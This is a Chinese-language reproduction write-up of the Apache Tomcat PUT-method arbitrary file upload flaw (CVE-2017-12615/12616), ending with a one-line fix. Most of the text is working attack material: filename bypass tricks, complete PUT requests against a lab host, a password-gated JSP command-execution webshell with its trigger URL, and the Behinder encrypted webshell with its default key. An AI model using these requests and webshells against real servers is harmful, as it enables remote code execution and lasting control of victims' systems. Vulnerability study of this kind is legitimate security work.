一、漏洞信息
tomcat put方法任意写文件介绍:
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
2、漏洞原理:
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作。
这里还有一个细节:
其实tomcat会对上传的文件内容进行限制,比如说禁止上传 .jpg 后缀的文件,只不过,这个过滤机制可以通过一些windows 或着 linux的特性绕过。
3、影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围:Apache Tomcat 7.0.0 - 7.0.79
从 5.x 到 9.x 均受到影响
本次测试版本:Tomcat版本:8.5.19
4、绕过上传方式
①Windows下 Windows下不允许文件以空格结尾
PUT /x.jsp%20 HTTP/1.1
②windows会被自动去掉末尾空格 Windows NTFS流
PUT /x.jsp::$DATA HTTP/1.1
③Linux下/在文件名中是非法的,会被去除(Linux/Windows)
PUT /x.jsp/ HTTP/1.1
二、漏洞复现
1、进入到tomcat主页进行抓包
2、修改请求协议PUT加文件名,在请求主体内写入可执行代码,点击发送
PUT /pwd5.jsp/ HTTP/1.1
Host: 192.168.1.112:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 374
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
3、命令执行方式:http://127.0.0.1:8080/21.jsp?pwd=666&i=whoami
4、获取webshell
冰蝎自带马,密码:rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
修改请求协议PUT加文件名,在请求主体内写入可执行代码,点击发送
PUT /pwd7.jsp/ HTTP/1.1
Host: 192.168.1.112:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 612
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
上传成功使用冰蝎进行连接
三、修复建议
Tomcat配置 readonly=true